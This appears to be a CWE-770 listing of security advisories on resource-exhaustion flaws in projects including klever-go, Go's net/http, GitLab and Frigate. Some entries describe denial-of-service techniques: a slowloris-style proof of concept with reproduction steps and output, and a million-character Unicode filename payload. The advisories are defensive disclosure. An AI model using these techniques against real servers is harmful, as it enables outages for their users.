CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3023 vulnerabilities reference this CWE, most recent first.
GHSA-W39G-G6PQ-5JQ6
Vulnerability from github – Published: 2024-07-11 00:32 – Updated: 2025-10-15 15:30A vulnerability in gaizhenbiao/chuanhuchatgpt version 20240410 allows an attacker to create arbitrary folders at any location on the server, including the root directory (C: dir). This can lead to uncontrolled resource consumption, resulting in resource exhaustion, denial of service (DoS), server unavailability, and potential data loss or corruption.
{
"affected": [],
"aliases": [
"CVE-2024-6037"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-10T23:15:14Z",
"severity": "HIGH"
},
"details": "A vulnerability in gaizhenbiao/chuanhuchatgpt version 20240410 allows an attacker to create arbitrary folders at any location on the server, including the root directory (C: dir). This can lead to uncontrolled resource consumption, resulting in resource exhaustion, denial of service (DoS), server unavailability, and potential data loss or corruption.",
"id": "GHSA-w39g-g6pq-5jq6",
"modified": "2025-10-15T15:30:20Z",
"published": "2024-07-11T00:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6037"
},
{
"type": "WEB",
"url": "https://github.com/gaizhenbiao/chuanhuchatgpt/commit/71cb89c4c948dae5aaa0ae64b98f98e3965bdb37"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/eca6904f-f9fd-40c8-9e85-96f54daf405e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W3MP-6VRJ-875G
Vulnerability from github – Published: 2025-04-22 16:57 – Updated: 2025-04-23 15:21Impact
The local file storage implementation does not restrict the size of uploaded files. An attacker could exploit this by uploading excessively large files, potentially causing the server to run out of space and return HTTP 500 error, resulting in a denial of service.
The severity of the vulnerability is mitigated by the fact that the application UI and the generic REST API are typically accessible only to authenticated users.
Patches
The problem has been fixed in CUBA 7.2.23.
Workarounds
A workaround for those who are unable to upgrade: Disable Files Endpoint in CUBA Application.
References
Files Functionality Vulnerabilities :: Jmix Documentation
Similar vulnerability in Jmix: DoS in the Local File Storage · Advisory · jmix-framework/jmix
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.haulmont.cuba:cuba-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-32959"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-22T16:57:36Z",
"nvd_published_at": "2025-04-22T18:16:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe local file storage implementation does not restrict the size of uploaded files. An attacker could exploit this by uploading excessively large files, potentially causing the server to run out of space and return HTTP 500 error, resulting in a denial of service.\n\nThe severity of the vulnerability is mitigated by the fact that the application UI and the generic REST API are typically accessible only to authenticated users.\n\n### Patches\n\nThe problem has been fixed in CUBA 7.2.23.\n\n### Workarounds\n\nA workaround for those who are unable to upgrade: [Disable Files Endpoint in CUBA Application](https://docs.jmix.io/jmix/files-vulnerabilities.html#disable-files-endpoint-in-cuba-application).\n\n### References\n\n[Files Functionality Vulnerabilities :: Jmix Documentation](https://docs.jmix.io/jmix/files-vulnerabilities.html)\n\nSimilar vulnerability in Jmix: [DoS in the Local File Storage \u00b7 Advisory \u00b7 jmix-framework/jmix](https://github.com/jmix-framework/jmix/security/advisories/GHSA-f3gv-cwwh-758m)",
"id": "GHSA-w3mp-6vrj-875g",
"modified": "2025-04-23T15:21:19Z",
"published": "2025-04-22T16:57:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cuba-platform/cuba/security/advisories/GHSA-w3mp-6vrj-875g"
},
{
"type": "WEB",
"url": "https://github.com/jmix-framework/jmix/security/advisories/GHSA-f3gv-cwwh-758m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32959"
},
{
"type": "WEB",
"url": "https://github.com/cuba-platform/cuba/commit/42b6c00fd0572b8e52ae31afd1babc827a3161a1"
},
{
"type": "WEB",
"url": "https://docs.jmix.io/jmix/files-vulnerabilities.html"
},
{
"type": "WEB",
"url": "https://docs.jmix.io/jmix/files-vulnerabilities.html#disable-files-endpoint-in-cuba-application"
},
{
"type": "PACKAGE",
"url": "https://github.com/cuba-platform/cuba"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cuba has a DoS in the File Storage"
}
GHSA-W3R9-R9W7-8H48
Vulnerability from github – Published: 2022-05-24 17:11 – Updated: 2023-09-29 17:09Golang Facebook Thrift servers would not error upon receiving messages declaring containers of sizes larger than the payload. As a result, malicious clients could send short messages which would result in a large memory allocation, potentially leading to denial of service. This issue affects Facebook Thrift prior to v2020.03.16.00.
Specific Go Packages Affected
github.com/facebook/fbthrift/thrift/lib/go/thrift
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/facebook/fbthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1-0.20200311080807-483ed864d69f"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-11939"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-08T00:26:28Z",
"nvd_published_at": "2020-03-18T01:15:00Z",
"severity": "HIGH"
},
"details": "Golang Facebook Thrift servers would not error upon receiving messages declaring containers of sizes larger than the payload. As a result, malicious clients could send short messages which would result in a large memory allocation, potentially leading to denial of service. This issue affects Facebook Thrift prior to v2020.03.16.00.\n\n### Specific Go Packages Affected\ngithub.com/facebook/fbthrift/thrift/lib/go/thrift",
"id": "GHSA-w3r9-r9w7-8h48",
"modified": "2023-09-29T17:09:10Z",
"published": "2022-05-24T17:11:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11939"
},
{
"type": "WEB",
"url": "https://github.com/facebook/fbthrift/commit/483ed864d69f307e9e3b9dadec048216100c0757"
},
{
"type": "PACKAGE",
"url": "https://github.com/facebook/fbthrift"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2021-0082"
},
{
"type": "WEB",
"url": "https://www.facebook.com/security/advisories/cve-2019-11939"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Golang Facebook Thrift servers vulnerable to denial of service"
}
GHSA-W487-9R9P-6P96
Vulnerability from github – Published: 2026-02-11 12:30 – Updated: 2026-02-11 12:30GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 18.7.4, and 18.8 before 18.8.4 that could have allowed an unauthenticated user to cause denial of service through CPU exhaustion by submitting specially crafted markdown files that trigger exponential processing in markdown preview.
{
"affected": [],
"aliases": [
"CVE-2026-1456"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T12:16:04Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 18.7.4, and 18.8 before 18.8.4 that could have allowed an unauthenticated user to cause denial of service through CPU exhaustion by submitting specially crafted markdown files that trigger exponential processing in markdown preview.",
"id": "GHSA-w487-9r9p-6p96",
"modified": "2026-02-11T12:30:22Z",
"published": "2026-02-11T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1456"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3517928"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2026/02/10/patch-release-gitlab-18-8-4-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/587688"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W49H-RMGR-RWP7
Vulnerability from github – Published: 2025-10-18 06:30 – Updated: 2025-10-18 06:30Allocation of Resources Without Limits or Throttling vulnerability in The Wikimedia Foundation Mediawiki - CirrusSearch Extension allows HTTP DoS.This issue affects Mediawiki - CirrusSearch Extension: from master before 1.43.
{
"affected": [],
"aliases": [
"CVE-2025-62666"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-18T05:15:34Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in The Wikimedia Foundation Mediawiki - CirrusSearch Extension allows HTTP DoS.This issue affects Mediawiki - CirrusSearch Extension: from master before 1.43.",
"id": "GHSA-w49h-rmgr-rwp7",
"modified": "2025-10-18T06:30:25Z",
"published": "2025-10-18T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62666"
},
{
"type": "WEB",
"url": "https://gerrit.wikimedia.org/r/q/I3e8d819868c0491b18368af8e543180e747023c2"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T401220"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W4C6-7R69-W7J9
Vulnerability from github – Published: 2026-06-05 16:41 – Updated: 2026-06-09 18:40Summary
The Klever seednode REST API starts a Gin engine with Engine.Run(restAPIInterface). In Gin v1.9.1, Engine.Run calls Go's default http.ListenAndServe, which constructs an HTTP server without application-level ReadHeaderTimeout, ReadTimeout, or MaxHeaderBytes limits.
An unauthenticated client that can reach a REST listener bound with Klever's documented --rest-api-interface :8080 all-interface option can hold incomplete HTTP headers open indefinitely. In a local proof against the real cmd/seednode/api.Start path on v1.7.17, 120 slow-header connections caused 20/20 legitimate /log probes to fail with accept: too many open files. A fixed control using the same Gin router behind an explicit http.Server with ReadHeaderTimeout, ReadTimeout, and MaxHeaderBytes retained 0 slow connections and served 20/20 probes.
This report is distinct from the P2P advisories and from my direct-message goroutine report. This finding concerns Klever-owned HTTP REST startup code (cmd/seednode/api and network/api) using Gin Engine.Run without server-level header deadlines. It does not depend on MultiDataInterceptor, Batch.Decompress, libp2p, malformed P2P messages, or direct-message goroutine spawning.
Details
Seednode REST API, latest release v1.7.17:
cmd/seednode/api/api.go:17definesStart(restAPIInterface, marshalizer).cmd/seednode/api/api.go:18createsws := gin.Default().cmd/seednode/api/api.go:23returnsws.Run(restAPIInterface).cmd/seednode/CLI.md:23documents--rest-api-interface; it says:8080binds all interfaces andoffdisables the API.
Node REST API, latest release v1.7.17:
network/api/api.go:79createsws = gin.Default().network/api/api.go:98returnsws.Run(kleverFacade.RestAPIInterface()).cmd/node/main.go:147-150documents the same--rest-api-interfaceflag and says:8080binds all interfaces.docker/README.md:56-61anddocker/README.md:67-70publish host port8080for full-node and validator Docker examples.README.md:264-268documents that the node exposes a REST API for blockchain queries and operations.
The seednode REST API source is byte-identical across v1.7.14 through v1.7.17; the captured runtime PoC was executed on v1.7.17.
Current develop commit 10bcfd50 remains affected:
network/api/api.go:98still returnsws.Run(kleverFacade.RestAPIInterface()).cmd/seednode/api/api.go:59still returnsws.Run(restAPIInterface).
Gin v1.9.1 implements Engine.Run as:
func (engine *Engine) Run(addr ...string) (err error) {
address := resolveAddress(addr)
err = http.ListenAndServe(address, engine.Handler())
return
}
In my source sweep, I did not find a production http.Server{ReadHeaderTimeout: ...} wrapper for either REST start path. The only ReadHeaderTimeout hit I found in the repository was a test helper under network/api/websocket/routes_test.go.
PoC
GitHub Private Vulnerability Reporting does not appear to allow file attachments in this form, so I am including the reproduction command and captured output inline. I can paste the full 254-line Go test patch in a reply immediately if useful.
The test starts two local child servers:
- Vulnerable: the real
cmd/seednode/api.Startpath. - Fixed control: the same Gin router served through
http.Server{ReadHeaderTimeout: 250ms, ReadTimeout: 250ms, MaxHeaderBytes: 4096}.
Reproduction from a clean checkout:
git clone https://github.com/klever-io/klever-go
cd klever-go
git checkout v1.7.17
# Apply the PoC patch to cmd/seednode/api.
# I can provide the full patch in this advisory thread.
go test ./cmd/seednode/api -run TestPoC_SeednodeAPISlowlorisDifferential -count=1 -v -timeout 60s
Captured output on v1.7.17:
POC_RESULT mode=vulnerable slow_connections_opened=120 slow_connections_still_open=111 legitimate_probe_ok=0 legitimate_probe_fail=20
POC_RESULT mode=fixed slow_connections_opened=120 slow_connections_still_open=0 legitimate_probe_ok=20 legitimate_probe_fail=0
The vulnerable server also logs repeated accept failures:
http: Accept error: accept tcp 127.0.0.1:56415: accept: too many open files; retrying in 1s
Impact
For an externally reachable Klever REST listener, a single unauthenticated client can retain many server-side connections by never completing HTTP headers. Because the Go server has no read-header deadline, those connections persist until the client closes them or an external proxy/firewall intervenes.
The direct result is REST API unavailability for legitimate clients. The local proof demonstrates this as 0/20 legitimate /log probes succeeding while the vulnerable server is saturated, versus 20/20 succeeding with the fixed server wrapper.
I am not claiming default public internet exposure. The default bind is localhost:8080. The affected condition is a REST API listener exposed through Klever's documented all-interface bind or Docker port-publish deployment shape.
This maps to the SECURITY.md High category: "Denial of Service affecting network availability." If Klever treats externally reachable REST API unavailability as non-critical because the default bind is localhost, the conservative classification is Medium under "Performance degradation attacks" / "Non-critical DoS vectors."
All testing was local loopback only. I did not contact Klever mainnet, public testnet, hosted RPCs, explorers, or third-party production infrastructure.
Suggested fix:
Start both REST APIs through explicit http.Server values instead of Engine.Run, for example:
srv := &http.Server{
Addr: restAPIInterface,
Handler: ws.Handler(),
ReadHeaderTimeout: 5 * time.Second,
ReadTimeout: 10 * time.Second,
WriteTimeout: 30 * time.Second,
IdleTimeout: 120 * time.Second,
MaxHeaderBytes: 32 << 10,
}
return srv.ListenAndServe()
Apply the same pattern to:
cmd/seednode/api.Startnetwork/api.Start
If Klever expects deployments to expose the REST API through a reverse proxy, I still recommend setting server-level limits in the application. That keeps the binary safe when operators use the documented direct bind or Docker port-publish path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.17"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.14"
},
{
"fixed": "1.7.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52880"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:41:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Klever seednode REST API starts a Gin engine with `Engine.Run(restAPIInterface)`. In Gin v1.9.1, `Engine.Run` calls Go\u0027s default `http.ListenAndServe`, which constructs an HTTP server without application-level `ReadHeaderTimeout`, `ReadTimeout`, or `MaxHeaderBytes` limits.\n\nAn unauthenticated client that can reach a REST listener bound with Klever\u0027s documented `--rest-api-interface :8080` all-interface option can hold incomplete HTTP headers open indefinitely. In a local proof against the real `cmd/seednode/api.Start` path on `v1.7.17`, 120 slow-header connections caused 20/20 legitimate `/log` probes to fail with `accept: too many open files`. A fixed control using the same Gin router behind an explicit `http.Server` with `ReadHeaderTimeout`, `ReadTimeout`, and `MaxHeaderBytes` retained 0 slow connections and served 20/20 probes.\n\nThis report is distinct from the P2P advisories and from my direct-message goroutine report. This finding concerns Klever-owned HTTP REST startup code (`cmd/seednode/api` and `network/api`) using Gin `Engine.Run` without server-level header deadlines. It does not depend on `MultiDataInterceptor`, `Batch.Decompress`, libp2p, malformed P2P messages, or direct-message goroutine spawning.\n\n### Details\n\nSeednode REST API, latest release `v1.7.17`:\n\n- `cmd/seednode/api/api.go:17` defines `Start(restAPIInterface, marshalizer)`.\n- `cmd/seednode/api/api.go:18` creates `ws := gin.Default()`.\n- `cmd/seednode/api/api.go:23` returns `ws.Run(restAPIInterface)`.\n- `cmd/seednode/CLI.md:23` documents `--rest-api-interface`; it says `:8080` binds all interfaces and `off` disables the API.\n\nNode REST API, latest release `v1.7.17`:\n\n- `network/api/api.go:79` creates `ws = gin.Default()`.\n- `network/api/api.go:98` returns `ws.Run(kleverFacade.RestAPIInterface())`.\n- `cmd/node/main.go:147-150` documents the same `--rest-api-interface` flag and says `:8080` binds all interfaces.\n- `docker/README.md:56-61` and `docker/README.md:67-70` publish host port `8080` for full-node and validator Docker examples.\n- `README.md:264-268` documents that the node exposes a REST API for blockchain queries and operations.\n\nThe seednode REST API source is byte-identical across `v1.7.14` through `v1.7.17`; the captured runtime PoC was executed on `v1.7.17`.\n\nCurrent `develop` commit `10bcfd50` remains affected:\n\n- `network/api/api.go:98` still returns `ws.Run(kleverFacade.RestAPIInterface())`.\n- `cmd/seednode/api/api.go:59` still returns `ws.Run(restAPIInterface)`.\n\nGin v1.9.1 implements `Engine.Run` as:\n\n```go\nfunc (engine *Engine) Run(addr ...string) (err error) {\n address := resolveAddress(addr)\n err = http.ListenAndServe(address, engine.Handler())\n return\n}\n```\n\nIn my source sweep, I did not find a production `http.Server{ReadHeaderTimeout: ...}` wrapper for either REST start path. The only `ReadHeaderTimeout` hit I found in the repository was a test helper under `network/api/websocket/routes_test.go`.\n\n### PoC\n\nGitHub Private Vulnerability Reporting does not appear to allow file attachments in this form, so I am including the reproduction command and captured output inline. I can paste the full 254-line Go test patch in a reply immediately if useful.\n\nThe test starts two local child servers:\n\n1. Vulnerable: the real `cmd/seednode/api.Start` path.\n2. Fixed control: the same Gin router served through `http.Server{ReadHeaderTimeout: 250ms, ReadTimeout: 250ms, MaxHeaderBytes: 4096}`.\n\nReproduction from a clean checkout:\n\n```bash\ngit clone https://github.com/klever-io/klever-go\ncd klever-go\ngit checkout v1.7.17\n\n# Apply the PoC patch to cmd/seednode/api.\n# I can provide the full patch in this advisory thread.\n\ngo test ./cmd/seednode/api -run TestPoC_SeednodeAPISlowlorisDifferential -count=1 -v -timeout 60s\n```\n\nCaptured output on `v1.7.17`:\n\n```text\nPOC_RESULT mode=vulnerable slow_connections_opened=120 slow_connections_still_open=111 legitimate_probe_ok=0 legitimate_probe_fail=20\nPOC_RESULT mode=fixed slow_connections_opened=120 slow_connections_still_open=0 legitimate_probe_ok=20 legitimate_probe_fail=0\n```\n\nThe vulnerable server also logs repeated accept failures:\n\n```text\nhttp: Accept error: accept tcp 127.0.0.1:56415: accept: too many open files; retrying in 1s\n```\n\n### Impact\n\nFor an externally reachable Klever REST listener, a single unauthenticated client can retain many server-side connections by never completing HTTP headers. Because the Go server has no read-header deadline, those connections persist until the client closes them or an external proxy/firewall intervenes.\n\nThe direct result is REST API unavailability for legitimate clients. The local proof demonstrates this as 0/20 legitimate `/log` probes succeeding while the vulnerable server is saturated, versus 20/20 succeeding with the fixed server wrapper.\n\nI am not claiming default public internet exposure. The default bind is `localhost:8080`. The affected condition is a REST API listener exposed through Klever\u0027s documented all-interface bind or Docker port-publish deployment shape.\n\nThis maps to the `SECURITY.md` High category: \"Denial of Service affecting network availability.\" If Klever treats externally reachable REST API unavailability as non-critical because the default bind is localhost, the conservative classification is Medium under \"Performance degradation attacks\" / \"Non-critical DoS vectors.\"\n\nAll testing was local loopback only. I did not contact Klever mainnet, public testnet, hosted RPCs, explorers, or third-party production infrastructure.\n\nSuggested fix:\n\nStart both REST APIs through explicit `http.Server` values instead of `Engine.Run`, for example:\n\n```go\nsrv := \u0026http.Server{\n Addr: restAPIInterface,\n Handler: ws.Handler(),\n ReadHeaderTimeout: 5 * time.Second,\n ReadTimeout: 10 * time.Second,\n WriteTimeout: 30 * time.Second,\n IdleTimeout: 120 * time.Second,\n MaxHeaderBytes: 32 \u003c\u003c 10,\n}\nreturn srv.ListenAndServe()\n```\n\nApply the same pattern to:\n\n- `cmd/seednode/api.Start`\n- `network/api.Start`\n\nIf Klever expects deployments to expose the REST API through a reverse proxy, I still recommend setting server-level limits in the application. That keeps the binary safe when operators use the documented direct bind or Docker port-publish path.",
"id": "GHSA-w4c6-7r69-w7j9",
"modified": "2026-06-09T18:40:44Z",
"published": "2026-06-05T16:41:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-w4c6-7r69-w7j9"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "klever-go: REST API slow-header connection exhaustion via Gin Engine.Run"
}
GHSA-W4H2-22WH-M6JX
Vulnerability from github – Published: 2023-02-28 18:30 – Updated: 2023-03-10 06:30A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.
{
"affected": [],
"aliases": [
"CVE-2022-41725"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-28T18:15:00Z",
"severity": "HIGH"
},
"details": "A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing \"up to maxMemory bytes +10MB (reserved for non-file parts) in memory\". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type\u0027s documentation states, \"If stored on disk, the File\u0027s underlying concrete type will be an *os.File.\". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.",
"id": "GHSA-w4h2-22wh-m6jx",
"modified": "2023-03-10T06:30:21Z",
"published": "2023-02-28T18:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41725"
},
{
"type": "WEB",
"url": "https://go.dev/cl/468124"
},
{
"type": "WEB",
"url": "https://go.dev/issue/58006"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/V0aBFqaFs_E"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2023-1569"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202311-09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4H6-9WRP-V5JQ
Vulnerability from github – Published: 2024-05-09 15:13 – Updated: 2024-05-14 20:00Important: Exploiting this vulnerability requires the attacker to have access to your Frigate instance, which means they could also just delete all of your recordings or perform any other action. If you have configured authentication in front of Frigate via a reverse proxy, then this vulnerability is not exploitable without first getting around your authentication method. For many obvious reasons in addition to this one, please don't expose your Frigate instance publicly without any kind of authentication.
Summary
When uploading a file or retrieving the filename, a user may intentionally use a large Unicode filename which would lead to a application-level denial of service. This is due to no limitation set on the length of the filename and the costy use of the Unicode normalization with the form NFKD under the hood of secure_filename().
I idenfied multiple vulnerable paths on blakeblackshear/frigate repository. In all of those paths, it was possible for a malicious user to send a filename equals to the output of : python3 -c "print('℀' * 1_000_000)" which would reach the werkzeug secure_filename() call , which in turn under the hood uses a compatibility Unicode normalization with NFKC/NFKD form. In sum, the latter call would be costly in matter of CPU resource and may lead to the application-level denial of service.
Vulnerable Paths
Path with 2 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C20-L379C31)@MediaBp.route("/<camera_name>/start/<int:start_ts>/end/<int:end_ts>/clip.mp4")
@MediaBp.route("/<camera_name>/start/<float:start_ts>/end/<float:end_ts>/clip.mp4")
def recording_clip(camera_name, start_ts, end_ts):
download = request.args.get("download", type=bool)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)
playlist_lines.append(f"outpoint {int(end_ts - clip.start_time)}")
file_name = secure_filename(f"clip_{camera_name}_{start_ts}-{end_ts}.mp4")
path = os.path.join(CACHE_DIR, file_name)
playlist_lines.append(f"outpoint {int(end_ts - clip.start_time)}")
file_name = secure_filename(f"clip_{camera_name}_{start_ts}-{end_ts}.mp4")
path = os.path.join(CACHE_DIR, file_name)
This user-provided value can reach a costly Unicode normalization operation.
Paths
Path with 2 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C33-L379C41)@MediaBp.route("/<camera_name>/start/<int:start_ts>/end/<int:end_ts>/clip.mp4")
@MediaBp.route("/<camera_name>/start/<float:start_ts>/end/<float:end_ts>/clip.mp4")
def recording_clip(camera_name, start_ts, end_ts):
download = request.args.get("download", type=bool)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)
playlist_lines.append(f"outpoint {int(end_ts - clip.start_time)}")
file_name = secure_filename(f"clip_{camera_name}_{start_ts}-{end_ts}.mp4")
path = os.path.join(CACHE_DIR, file_name)
playlist_lines.append(f"outpoint {int(end_ts - clip.start_time)}")
file_name = secure_filename(f"clip_{camera_name}_{start_ts}-{end_ts}.mp4")
path = os.path.join(CACHE_DIR, file_name)
This user-provided value can reach a costly Unicode normalization operation.
Paths
Path with 2 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C43-L379C49)@MediaBp.route("/<camera_name>/start/<int:start_ts>/end/<int:end_ts>/clip.mp4")
@MediaBp.route("/<camera_name>/start/<float:start_ts>/end/<float:end_ts>/clip.mp4")
def recording_clip(camera_name, start_ts, end_ts):
download = request.args.get("download", type=bool)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)
playlist_lines.append(f"outpoint {int(end_ts - clip.start_time)}")
file_name = secure_filename(f"clip_{camera_name}_{start_ts}-{end_ts}.mp4")
path = os.path.join(CACHE_DIR, file_name)
current_app.frigate_config,
camera_name,
secure_filename(name.replace(" ", "_")) if name else None,
int(start_time),
int(end_time),
This user-provided value can reach a costly Unicode normalization operation.
Paths
Path with 8 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12) jsonify,
make_response,
request,
)
from peewee import DoesNotExist, fn
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12)
jsonify,
make_response,
request,
)
from peewee import DoesNotExist, fn
